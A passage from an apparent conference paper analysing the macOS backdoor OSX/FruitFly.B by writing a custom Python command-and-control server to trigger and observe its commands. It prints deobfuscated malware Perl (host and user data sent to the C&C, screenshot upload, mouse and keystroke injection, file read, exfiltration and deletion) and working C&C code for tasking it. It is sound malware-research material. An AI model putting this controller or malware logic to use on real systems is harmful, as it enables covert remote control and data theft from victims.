gain a comprehensive understanding of the malware's capabilities and the purpose of each of its commands.\r\nHowever, before we can create this custom C\u0026C server we must first understand the protocol the malware uses to\r\ncommunicate. In the next section, we'll perform a basic analysis of the malware, with the goal of determining how it\r\n'speaks'.\r\nCreating a custom C\u0026C server\r\nWe finally have all the pieces to begin creating our custom C\u0026C server. Specifically, we have a decent understanding of\r\nOSX/FruitFly.B's protocol as well as the necessary tools to monitor how it responds to tasking once we've completed the\r\nC\u0026C server.\r\nIn this section we'll describe how we created a custom command-and-control server that allowed us to task the malware in\r\norder to coerce it into revealing its full functionality.\r\nIt should be noted that the process of creating such a C\u0026C was not wholly independent of other methods of analysis. That is\r\nto say, more traditional methods, such as static analysis of the malware, still played a role, albeit to a lesser extent.\r\nIn a nutshell, creating the custom C\u0026C server was accomplished in the following manner:\r\nFor each numeric command supported by the malware:\r\n1. Triage command to see:\r\n1. if it expects additional bytes/data from the C\u0026C server\r\n2. the format of the response\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 19 of 52\n\n2. Send command to malware\r\n3. Send additional bytes to malware\r\n4. Receive and process data\r\nOur previous analysis of the malware's helper subroutines identified those that sent and received data from the server, as\r\nwell as those subroutines that packed/unpacked network data. Thus, it's trivial to triage a command to understand any\r\n'command-specific' protocol.\r\nTake for example command 12:\r\n#command #12\r\nelsif ( $D == 12 )\r\n{\r\n my $Z = ord J 1;\r\n my ( $S, $p ) = ( H, '' );\r\n if ( $Z == 0 ) { $p = K( -e $S ) }\r\n ...\r\n elsif ( $Z == 8 || $Z == 9 )\r\n {\r\n ...\r\n }\r\n G v12 . chr($Z) . Z($S) . $p;\r\n}\r\nListing 20: Command 12.\r\nWe know that the 'J' subroutine reads a single byte from the socket associated with the C\u0026C server. Similarly, the 'H'\r\nsubroutine reads a variable length string (size, bytes) from the server. On the flip side, the 'G' subroutine sends data back to\r\nthe C\u0026C server.\r\nThus, while we still don't (yet) know what command #12 does, we just illustrated how easy it was to determine its protocol,\r\nas shown in Table 3.\r\nDirection Size Value\r\nsend 1 byte 0 - 9\r\nsend variable length unknown\r\nreceive 1 byte 12 (command #)\r\nreceive 1 byte 0 - 9 (what was sent)\r\nreceive variable length string previously sent\r\nreceive 1 byte result of 'K'\r\nTable 3: Command #12's protocol.\r\nNote that the format of the command's response could also be determined passively simply by sniffing the network data of\r\nthe command that is sent back to the C\u0026C server.\r\nOur basic C\u0026C server is written in Python. Again, its goal is simply to provide an adequate means to task the malware, and\r\nas such, it is not particularly elegant or robust. But as will be shown, it gets the job done!\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 20 of 52\n\nThe C\u0026C server starts by creating a socket to listen for connections from the malware. As the malware accepts an arbitrary\r\naddress:port on its command line, the C\u0026C server accepts an arbitrary port via the command line and listens on 0.0.0.0 (all\r\ninterfaces):\r\n#init socket\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n#bind \u0026 listen\r\nsock.bind(('0.0.0.0', port))\r\nsock.listen(1)\r\n#wait for client to connect\r\nwhile True:\r\n connection, client_address = sock.accept()\r\n print 'client connected: ', client_address\r\nListing 21: Socket code of the C\u0026C server.\r\nLet's start the server and see if the malware connects:\r\nFigure 23: Listening for connections.\r\nIn a virtual machine, we execute the malware with address of our host machine (192.168.0.2) and the port the C\u0026C server is\r\nlistening on (1337):\r\nFigure 24: Connecting to the custom C\u0026C server.\r\nBack to the C\u0026C server:\r\nFigure 25: Connected to custom C\u0026C server.\r\nHooray, we get a connection!\r\nDuring our brief initial triage of the malware, we noted that once the malware connects to a C\u0026C server, before processing\r\nany tasking, it executes the code snippet shown in Listing 22.\r\nThe 'Y' and 'Z' subroutines format ('pack') data for network transmission, while the 'G' subroutine sends such data to the\r\nC\u0026C server.\r\n#send client data to C\u0026C\r\nG v1\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 21 of 52\n\n. Y(1143)\r\n . Y( $q ? 128 : 0 )\r\n . Z( ( $z ? I('scutil --get LocalHostName') : '' ) || I('hostname') )\r\n . Z( I('whoami') );\r\nListing 22: Client data sent to C\u0026C server.\r\nSummarizing the code snippet, the malware will send the following:\r\nDirection Size Value\r\nsend 1 byte 1\r\nsend 4 bytes 1143 (version #)\r\nsend 4 bytes 0, or 128\r\nsend variable host name\r\nsend variable user name\r\nTable 4: Format of client data.\r\nWith this information, we can extend our custom C\u0026C server to both receive and format this data:\r\n#read data from malware\r\ndata = connection.recv(100)\r\noffset = 0\r\nprint 'offset 0x%02x: byte 0x%02x' % (offset, ord(data[offset]))\r\n...\r\n#read length\r\nlength = struct.unpack('I', data[offset:offset+4])[0]\r\noffset += 4\r\n#read/display user name ('whoami')\r\nprint 'offset 0x%02x: str (user name): %s' % (offset,\r\ndata[offset:offset+length])\r\nListing 23: Parsing client data.\r\nNow, when the malware within our VM connects, the C\u0026C server will output the following:\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 22 of 52\n\nFigure 26: Output of client data.\r\nOnce the malware has sent the initial client data, it expects a single byte – a numeric command from the C\u0026C server.\r\nThe 25 or so commands supported by the malware range in value from 0 to 47. Our task is to understand the\r\ncommand‑specific protocol for each via a combination of static analysis and passive observations (e.g. a network sniffer to\r\nunderstand the format of the malware's response for a given command). This will allow us to task the malware, iterating\r\nthrough all its commands with the goal of understanding ultimately what each command does.\r\nIt is trivial to understand the purpose of some commands simply via static analysis. For others, tasking the malware and then\r\nobserving its actions will reveal the purpose of the command more efficiently.\r\nNow let's look at how to implement support for a basic command. We'll pick command #11, as the malware implements it in\r\njust a few lines of code:\r\n#command #11\r\nelsif ( $D == 11 ) {\r\n G v11 . Z( I('pwd') )\r\n}\r\nListing 24: Command #11.\r\nClearly this command simply gets the path of the 'working directory' and sends it back to the C\u0026C (prefixed with the\r\ncommand number, 11).\r\nTo add support for this command in our custom C\u0026C server, we add the following:\r\n#supported commands\r\nmenu = {\"11\":(\"Print Working Directory\",cmdPWD),}\r\n#display supported commands\r\nprint '\\navailable commands:'\r\nfor key in sorted(menu.keys()):\r\n print key+\":\" + menu[key][0]\r\n#get command\r\ncommand = raw_input(\"\\nselect command: \")\r\n#execute command\r\nmenu.get(command,[None,invalid])[1](connection)\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 23 of 52\n\n#command #11\r\ndef cmdPWD(connection):\r\n #send command\r\n connection.sendall(struct.pack('b', 11))\r\n #malware first responds w/ command #\r\n data = connection.recv(1)\r\n print 'byte 0x%02x (command)' % (ord(data))\r\n #read \u0026 unpack length of pwd\r\n data = connection.recv(4)\r\n length = struct.unpack('I', data)[0]\r\n #read pwd\r\n data = connection.recv(length)\r\n print 'working directory: %s' % data\r\nListing 25: Command #11 support on C\u0026C server.\r\nSo, does this work? That is to say, can we task the malware in order to confirm that command #11 returns the path to the\r\nmalware's working directory?\r\nWith the C\u0026C running, on the infected VM we first manually execute 'pwd' to determine the actual working directory. Then\r\nwe execute the malware so it connects to our updated C\u0026C server, as shown in Figure 27.\r\nFigure 27: Infected host's 'pwd'.\r\nThe C\u0026C accepts the connection and we task the malware to execute command #11:\r\nFigure 28: Tasking command #11 ('pwd').\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 24 of 52\n\nLooking good! In this case it was trivial to see (by looking at that malicious Perl script) that command #11 returned the\r\nworking directory. That is to say, implementing support for this command server-side wasn't really necessary in order to\r\nunderstand what it did. However, it was a good illustrative example and it did provide confirmation that our static analysis\r\nof command #11 was correct.\r\nIn the next section, we'll show that, via C\u0026C tasking, other, far more complex commands can be fully understood.\r\nCommand enumeration via C\u0026C tasking\r\nIn this section, we'll iterate through the majority of the malware's more complex commands in order to reveal their purpose.\r\nSeveral of these commands call into the malware's embedded machO executable in order to perform complex logic. Sure,\r\nwe could spend hours reversing this binary – or we could just task the malware to execute such commands and passively\r\nobserve what it does. Work smart not hard, right?\r\nIt should be noted that several of the commands that the malware supports are trivial to understand simply by reading the\r\ndeobfuscated Perl script. For example, command #11, as we just showed, simply invokes macOS's built-in 'pwd' command\r\n(/bin/pwd) and sends the result back to the C\u0026C server:\r\n#command #11\r\nelsif ( $D == 11 ) {\r\n G v11 . Z( I('pwd') )\r\n}\r\nListing 26: Command #11.\r\nFor such simple commands, static analysis (i.e. reading the Perl script) does, of course, suffice. One does not have to use\r\nmonitoring utilities or even add support in the custom C\u0026C server.\r\nHowever, such utilities and/or C\u0026C support are still useful, even for such simple commands. For example, by passively\r\nobserving the malware one can confirm, without a doubt, the purpose of such commands. Think of such utilities and C\u0026C\r\nsupport as a way to double check, or confirm the assumptions you have made based solely on the static analysis of the\r\ncommands.\r\nNote: for the sake of completeness, our custom C\u0026C server supports all the malware's commands. However, due to space\r\nconstraints such basic commands aren't discussed in this section (see Appendix B for a full listing and summarization of all\r\ncommands).\r\nA few of the basic commands supported by the malware include:\r\nCommand # Description\r\n4 Get host's uptime\r\n6 Evaluate a Perl statement\r\n11 Get malware's working directory via 'pwd'\r\n13 Get location of malware's script on disk\r\n19 Causes the malware to call exit() to quit\r\n20 Execute a command via system()\r\nTable 5: Basic commands.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 25 of 52\n\nLet's now dive into the more complex commands, and illustrate how, via the custom C\u0026C server in conjunction with the\r\nmonitoring utilities, we can trivially uncover their purpose.\r\nCommand #2\r\nCommand #2 contains logic to call into the malware's embedded machO binary, passing in the command number (2) and\r\nanother byte it reads from the C\u0026C server:\r\n#command #2\r\n# -\u003eexec binary, passing in '2' and extra byte from C\u0026C\r\nelsif ( $D == 2 )\r\n{\r\n #read another byte from C\u0026C\r\n my ( $Z, $C ) = ( J 1 );\r\n if ( !$O\r\n #save embedded binary \u0026 and exec w/ args\r\n \u0026\u0026 V( v2 . $Z )\r\n #read 4 bytes output\r\n \u0026\u0026 defined( $C = E(4) )\r\n #read variable length output\r\n \u0026\u0026 defined( $C = E( unpack 'V', $C ) ) )\r\n {\r\n #send cmd (2) and variable length data to C\u0026C\r\n G v2 . Z($C);\r\n }\r\n ...\r\nListing 27: Command #2.\r\nThough we don't know (yet) what the value should be for the command, we can still add support for it to our custom C\u0026C\r\nserver, as shown in Listing 28.\r\n#command #2\r\ndef cmdTwo(connection):\r\n data = ''\r\n bytesReceived = 0\r\n #send command\r\n connection.sendall(struct.pack('b', 2))\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 26 of 52\n\n#command expects another byte\r\n param = raw_input(\"\\nenter param: \")\r\n #send byte\r\n connection.sendall(struct.pack('B', int(param)))\r\n #malware first responds w/ command #\r\n print 'byte 0x%02x' % (ord(connection.recv(1)))\r\n #then, length of remaining data\r\n length = struct.unpack('I', connection.recv(4))[0]\r\n #read rest of response\r\n while bytesReceived \u003c length:\r\n #get chunk\r\n chunk = connection.recv(1024)\r\n bytesReceived += len(chunk)\r\n #append\r\n data += chunk\r\n #save data\r\n with open('file_' + param, 'wb') as file:\r\n file.write(data)\r\nListing 28: C\u0026C support for command #2.\r\nOnce the malware connects to our C\u0026C server, we task it to execute command #2. For the second byte that command #2\r\nexpects, we initially send it a zero.\r\nOn the infected host, via the file monitor, we first observe the malware saving the embedded machO binary to disk (as\r\n/tmp/client) and making it executable via chmod.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 27 of 52\n\nFigure 29: Saving embedded binary to disk.\r\nNext, via our process monitor, we observe the malware executing this binary:\r\nFigure 30: Embedded binary execution.\r\nNote that the process monitor doesn't show any arguments. This is 'correct' as the malicious Perl script passes in any\r\nparameters not via the command-line, but instead by writing directly to /tmp/client's stdin:\r\n#passing arguments via stdin\r\nsub V {\r\n ...\r\n $P = open2( $H, $Q, $b );\r\n syswrite $Q, $_[0];\r\n}\r\nListing 29: Writing a parameter to stdin.\r\nIf we disassemble the embedded machO binary we uncover the code that reads in the parameter from stdin (via getchar()).\r\nAs the following disassembly shows, the binary uses this value as an index into a table of function pointers. In order words,\r\nthis value is a 'command' selector.\r\n#argument processing\r\n# -\u003ereads from stdin \u0026 switches on value\r\ncall getchar\r\ncmp eax, 0xffffffff\r\nje exit\r\ncmp eax, 0x11\r\njbe switch\r\njmp exit\r\nswitch:\r\nlea rdx, qword [sub_100001cc0+356]\r\nmovsxd rax, dword [rdx+rax*4]\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 28 of 52\n\nadd rax, rdx\r\njmp rax\r\nListing 30: Argument processing in embedded binary.\r\nFinally, via the network monitor, we observe the malware sending a large chunk of data (200,000+ bytes) back to the C\u0026C\r\nserver.\r\nFigure 31: command #2's network traffic (from client).\r\nIn Figure 32, we can see the response written out to file on the C\u0026C server. It looks like a PNG, and the 'file' command\r\n(/usr/bin/file) seems to agree (see Figure 33).\r\nFigure 32: Examining command #2's response.\r\nFigure 33: File type identification.\r\nOf course, seeing is believing, and Figure 34 shows the result.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 29 of 52\n\nFigure 34: Command #2's result (parameter value: 0).\r\nAt this point it was clear that tasking the malware via command #2 would capture a screenshot and upload it to the C\u0026C\r\nserver. However, we still didn't know the meaning of the second parameter.\r\nFrom the C\u0026C server, we instructed the malware to execute command #2 multiple times, each time passing in a different\r\nvalue for the second parameter (1, 2...15, 16, 32, 128, 255, etc.).\r\nTable 6 summarizes the results.\r\nParameter Size Type Colour Resolution\r\n0 1.4KB PNG colour high\r\n1 64KB PNG black \u0026 white low\r\n8 788KB PNG black \u0026 white high\r\n9 1.4KB PNG colour high\r\n10 60KB JPEG colour low\r\n64 168KB JPEG colour medium\r\n110 1.2MB JPEG colour high\r\n111+ 1.4MB PNG colour high\r\nTable 6: Command #2 parameter values/results. \r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 30 of 52\n\nFigure 35: Command #2's result (parameter value: 1).\r\nFigure 36: Command #2's result (parameter value: 10).\r\nFrom this 'observational analysis' it's easy to see that the second parameter controls the format (PNG/JPEG), colour depth,\r\nand resolution of the image.\r\nCommand #8\r\nCommand #8 also causes the malware to call into the embedded machO binary. This command takes three additional\r\ncommand-specific parameters from the C\u0026C server. Triage showed these to be a single byte followed by two four-byte\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 31 of 52\n\ninteger values. However, the purpose of the command and these parameters, at this point, remained unknown.\r\n#command 8\r\nelsif ( $D == 8 )\r\n{\r\n #read 9 additional bytes from C\u0026C server\r\n my ( $Z, $C ) = ( J 9 );\r\n #exec embedding binary, passing in 9 bytes\r\n if ( V( v8 . $Z ) \u0026\u0026 defined( $C = E(1) ) )\r\n {\r\n #respond to server\r\n G( ord($C) ? v8 : v0.10 );\r\n }\r\n}\r\nListing 31: Command #8.\r\nThe data returned by this command is either the command number (8) or a zero, depending on whether the command\r\nsucceeds or fails. Thus, unlike command #2 which revealed its purpose by the data it returned (i.e. a screenshot), the purpose\r\nof command #8 was not immediately apparent.\r\nTime to turn to our monitoring utilities that were running on the infected system.\r\nOnce the malware had connected to our custom C\u0026C server, we sent it command #8, followed by three values (a byte and\r\ntwo four-byte integers).\r\nThe file and process monitors showed the embedded machO binary being saved to disk (/tmp/client) and executed by the\r\nmalicious Perl script – but then nothing else. Interestingly, the mouse sniffer lit up.\r\nFor example, passing in 0, 0, 0 for the three command-specific parameters generated the following mouse event:\r\nFigure 37: Captured mouse event (parameter values: 0,0,0).\r\nFigure 38: Captured mouse event (parameter values: 0,123,456).\r\nYes, the mouse did move!\r\nSo tasking the malware via command #8, and then specifying zero, moves the mouse to the x,y screen location provided by\r\nthe two remaining parameters.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 32 of 52\n\nIf we pass a 1, (instead of a 0), and again 123, 456 the mouse sniffer registers the following:\r\nFigure 39: Captured mouse event (parameter values: 1,123,456).\r\nIt is easy to see that the 1 parameter instructs the malware, via the mouse command (#8), to move and then left-click the\r\nmouse. Passing in a 2 seems to generate the same event (left mouse click).\r\nTasking the mouse command with a 3 generates the following:\r\nFigure 40: Captured mouse event (parameter values: 3,123,456).\r\nAgain a move, but this time followed by a double left click.\r\nThe mouse events generated by values 4–7 are shown in Figures 41 to 44.\r\nFigure 41: Captured mouse event (parameter values: 4,123,456).\r\nFigure 42: Captured mouse event (parameter values: 5,123,456).\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 33 of 52\n\nFigure 43: Captured mouse event (parameter values: 6,123,456).\r\nFigure 44: Captured mouse event (parameter values: 7,123,456).\r\nTable 7 summarizes command #8's 'subcommand' values:\r\nSubcommand Description\r\n0 Move mouse\r\n1 Left click (up \u0026 down)\r\n2 Left click (up \u0026 down)\r\n3 Left double click\r\n4 Left click (down)\r\n5 Left click (up)\r\n6 Right click (down)\r\n7 Right click (up)\r\nTable 7: Command #8 'subcommand' values.\r\nIt should be noted that, when tasked with command #8:\r\n- the mouse is always first moved to the specified x, y coordinates before the action (left click, etc.) is generated\r\n- if a mouse 'down' event is sent (e.g. #4), and then a move mouse 'move' event is sent (e.g. #0), this will generate a\r\nmouse 'dragged' event:\r\nFigure 45: Captured mouse event (drag).\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 34 of 52\n\nThis allows the malware to perform actions such as selecting text:\r\nFigure 46: Selected text via command #8.\r\nLet's now take a look at command #12. As with the other more complex commands, this command expects the C\u0026C server\r\nto send some command-specific data. Specifically, it expects a single byte followed by a variable length string:\r\n#command 12\r\nelsif ( $D == 12 ) {\r\n #read one byte\r\n my $Z = ord J 1;\r\n #read variable length string\r\n my ( $S, $p ) = ( H, '' );\r\n #sub-command 0\r\n if ( $Z == 0 ) { $p = K( -e $S ) }\r\n ...\r\n #sub-command 4\r\n elsif ( $Z == 4 ) { $p = Y( -s $S ) }\r\n ...\r\n #respond\r\n G v12 . chr($Z) . Z($S) . $p;\r\n}\r\nListing 32: Command #12.\r\nTo determine the purpose of this command, we can simply task the malware to execute it once it reconnects, by sending it a\r\n12.\r\nWe start by specifying a 0 for the first byte the command expects and then the string 'foo'. Closely watching our monitoring\r\nutilities we notice this triggers an event on just one, the file monitor:\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 35 of 52\n\nFigure 47: Command #12 file I/O (parameter value: 0).\r\nThe malware responds to the C\u0026C server with a zero.\r\nFigure 48: Command #12 response to C\u0026C server.\r\nSince (via the file monitor) we observed the malware performing a 'stat64' on the string passed from the C\u0026C server ('foo'),\r\nit seems reasonable to assume that perhaps the command was attempting to check for the presence of a file.\r\nIf we re-task the malware with the same command and initial parameter (0), but this time provide a path to a file that exists\r\non the infected system, again we see the stat64, but this time the malware responds with a 1, as can be seen in Figure 49.\r\nFigure 49: Command #12 response to C\u0026C server.\r\nThus we can conclude that command #12, when passed an initial parameter ('subcommand') of 0, will check for the\r\nexistence of a file and return a boolean value representing the result of this check.\r\nWhat about the other 'subcommands' of command #12? Let's send them and observe what happens.\r\nIf we send the malware a 12 to execute the file command, followed by a 1, and then a path to a file, the file monitor shows\r\nthe file being deleted via an unlink:\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 36 of 52\n\nFigure 50: Command #12 file I/O (parameter value: 1).\r\nSo, subcommand #1 deletes a file.\r\nWe performed the same tasking, with different subcommands (2, 3, ... 9):\r\nSubcommand #2 (file rename):\r\nFigure 51: Command #12 file I/O (parameter value: 2).\r\nSubcommand #3 (copy a file):\r\nFigure 52: Command #12 file I/O (parameter value: 3).\r\nSubcommand #4 (size of a file):\r\nFigure 53: Command #12 file I/O (parameter value: 4).\r\nFigure 54: Command #12 (parameter value: 4) response to C\u0026C server.\r\nSubcommand #6 (read a file):\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 37 of 52\n\nFigure 55: Command #12 file I/O (parameter value: 6).\r\nFigure 56: Command #12 (parameter value: 6) response to C\u0026C server.\r\nSubcommand #7 (write to file):\r\nFigure 57: Command #12 file I/O (parameter value: 7).\r\nSubcommand #8 (list file attributes (ls -a)):\r\nFigure 58: Command #12 process event (parameter value: 8).\r\nSubcommand #9 (list file attributes (ls -al)):\r\nFigure 59: Command #12 process event (parameter value: 9).\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 38 of 52\n\nFigure 60: Command #12 file I/O (parameter value: 9).\r\nTable 8 summarizes command #12's 'subcommand' values.\r\nSubcommand Description\r\n0 Does file exist?\r\n1 Delete file\r\n2 Rename (move) file\r\n3 Copy file\r\n4 Size of file\r\n5 Not implemented\r\n6 Read \u0026 exfiltrate file\r\n7 Write file\r\n8 File attributes (ls -a)\r\n9 File attributes (ls -al)\r\nTable 8: Command #12 ‘subcommand’ values.\r\nNext up are commands #16 and #17. These command expect to receive an extra byte (a subcommand?) from the C\u0026C\r\nserver. This value, along with the command value (16 or 17), is passed into the 'V' subroutine.\r\n#command 16 / 17\r\nelsif ( $D == 16 || $D == 17 )\r\n{\r\n #read extra byte\r\n my $Z = J 1;\r\n G(v0.23)\r\n #exec embedded binary\r\n # -\u003epass in command # and parameter\r\n if !V( chr($D) . $Z );\r\n}\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 39 of 52\n\nListing 33: Command #16/#17.\r\nRecall that the 'V' subroutine drops and executes the malware's embedded machO binary executable, passing it any\r\nparameters from the C\u0026C server.\r\nVia our monitoring utilities we can see that, when the malware is tasked to execute either command #16 or command #17,\r\nthe following events are recorded:\r\nFile monitor: the embedded binary is saved to disk (/tmp/client)\r\nProcess monitor: this binary, /tmp/client, is executed\r\nMouse/keyboard sniffer: keyboard events\r\nFor command #16, the keyboard event is a 'key down' event (kCGEventKeyDown):\r\nFigure 61: Captured keyboard event (kCGEventKeyDown).\r\nCommand #17, results in a keyboard 'key up' event (kCGEventKeyUp):\r\nFigure 62: Captured keyboard event (kCGEventKeyDown).\r\nNeat! So commands #16 and #17 can be used to send key presses to the active (forefront) window. In other words the\r\nmalware affords an attacker the ability to type remotely on an infected host. From an attacker's point of view, this capability\r\nmay be useful to interact with system dialogs or other UI components on the infected system. Of course, the attacker could\r\nalso say 'hi' to the infected user:\r\nFigure 63: Captured keyboard events ('hi').\r\nFigure 64: Remote 'typing' via\r\ncommands #16 \u0026 #17.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 40 of 52\n\nThe final command we'll look at in this section is command #47. On looking at this command's implementation in malicious\r\nPerl script, it appears to create a new socket connection using various parameters from the C\u0026C server:\r\n#command 47\r\nelsif ( $D == 47 )\r\n{\r\n my ( $A, $a, $F ) = ( 0, N, O );\r\n $a = 'localhost' if !length $a;\r\n my $C = new IO::Socket::INET(\r\n PeerAddr =\u003e $a,\r\n PeerPort =\u003e $F,\r\n Proto =\u003e 'tcp',\r\n Timeout =\u003e 2\r\n );\r\n if ( !$C ) {\r\n $A = {\r\n 'Operation now in progress' =\u003e 10060,\r\n 'Connection refused' =\u003e 10061\r\n }-\u003e{$!}\r\n || 1;\r\n }\r\n else { close $C }\r\n G v47 . Z($a) . Y($F) . Y($A);\r\n}\r\nListing 34: Command #47.\r\nHowever, by using the monitoring utilities (specifically network-related ones) and C\u0026C tasking, we can easily confirm the\r\ncommand's purpose and also easily figure out how the parameters from the C\u0026C are used, as shown in Figure 65.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 41 of 52\n\nFigure 65: C\u0026C tasking command #47 ... and the malware's response.\r\nVia tcpdump we can observe the malware responding to our request to connect to the host specified (virusbulletin.com, port\r\n80), as shown in Figure 66.\r\nFigure 66: Malware's response to our request.\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 42 of 52\n\nFrom the network captures and response sent to the C\u0026C we can confirm that command #47 will cause the malware to\r\nattempt a TCP connection to the host/port specified by the C\u0026C server. It will respond to the C\u0026C server with a 0 if it can\r\nconnect to host on the specified port, otherwise it will send back a 1.\r\nSomewhat interestingly, the malware will immediately close the connection even if it's successful. Thus it appears this\r\ncommand was designed to check if a host is up, or if a specific port on a host is open (versus establishing, say, a secondary\r\ncommunications channel, perhaps to back up the C\u0026C server).\r\nConclusion\r\nMalware analysis is a time-consuming and often strenuous process. And while traditional analysis techniques such as static\r\nanalysis and debugging can reveal the full functionality of a malware specimen, there may be a better way.\r\nIn this research paper, we fully analysed an interesting piece of macOS malware by creating our own custom command‑and-control (C\u0026C) server. In conjunction with various monitoring utilities, via this server we were able simply to task the\r\nmalware in order to coerce it into revealing its entire capabilities.\r\nBesides basic capabilities such as executing commands via system() and interacting with files on an infected system, we\r\nuncovered the fact that the malware supports more advanced commands rarely (if ever?) seen in macOS malware. For\r\nexample, being able to simulate mouse and keyboard events, perhaps to interact with system dialogs or alerts from security\r\nproducts, truly gives a remote attacker unprecedented control over an infected Mac.\r\nReferences\r\n[1] New Mac backdoor using antiquated code. https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/.\r\n[2] VirusTotal. https://www.virustotal.com/.\r\n[3] BlockBlock. https://objective-see.com/products/blockblock.html.\r\n[4] Creating Launch Daemons and Agents.\r\nhttps://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.h\r\n[5] Methods of malware persistence on Mac OS X. https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-\r\nWardle.pdf.\r\n[6] Perl Beautify. http://www.cleancss.com/perl-beautify/.\r\n[7] How can I detect the operating system in Perl?. https://stackoverflow.com/questions/334686/how-can-i-detect-the-operating-system-in-perl.\r\n[8] Two Bugs, One Func(), part ii: a kernel info leak 0day, thanks to Apple's fix. https://objective-see.com/blog/blog_0x1B.html.\r\n[9] Two Bugs, One Func(), part iii: a kernel heap overflow. https://objectivesee.com/blog/blog_0x1C.html.\r\n[10] OS X Internals: A Systems Approach. http://www.osxbook.com/.\r\n[11] CGEventTapCreate. https://developer.apple.com/documentation/coregraphics/1454426-cgeventtapcreate.\r\n[12] Perl's pack function. http://perldoc.perl.org/functions/pack.html.\r\nAppendix A\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 43 of 52\n\nOSX/FruitFly.B Perl script, subroutines\r\nSubcommand B\r\n› code\r\nsub B {\r\npack 'V2', $_[0] / 2**32, $_[0] % 2**32\r\n}\r\n› input\r\nFour-byte host-byte integer (passed in $_[0]).\r\n› output\r\nTwo strings that represent the passed in integer a) divided by 2^32, and b) modded (%) by 2^32.\r\n› description\r\nConverts a four-byte host-byte integer (passed in $_[0]) into to two strings to send to the C\u0026C server. The first integer is\r\ndivided by 2^32, while the second is modded (%) by 2^32.\r\n \r\nSubcommand E\r\n› code\r\nsub E {\r\n return undef if !$P;\r\n my ( $U, $A ) = ( '', '' );\r\n while ( $_[0] \u003e length $U ) {\r\n return R() if !sysread $H, $A, $_[0] - length $U;\r\n $U .= $A;\r\n }\r\n return $U;\r\n}\r\n› input\r\nNumber of bytes to read.\r\n› output\r\nBytes read.\r\n› description\r\nReads a specified number of bytes from a process, returning them to the caller. More specifically, in a loop reads a specific\r\nnumber of bytes (passed in via $_[0]) from the stdout handle ('$H') of process '$P'.\r\nSubcommand G\r\nhttps://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/\r\nPage 44 of 52\n\n› code\r\nsub G {\r\n die if !defined syswrite $l, $_[0]\r\n}\r\n› input\r\nBytes to send to C\u0026C server.\r\n› output\r\nNone.\r\n› description\r\nSends data to the command-and-control server. More specifically, writes whatever is passed into the subroutine ($_[0]) to\r\n'$l', the socket that is associated with the C\u0026C server.\r\nSubcommand H\r\n› code\r\nsub H {\r\n my $U = N;\r\n $U =~ 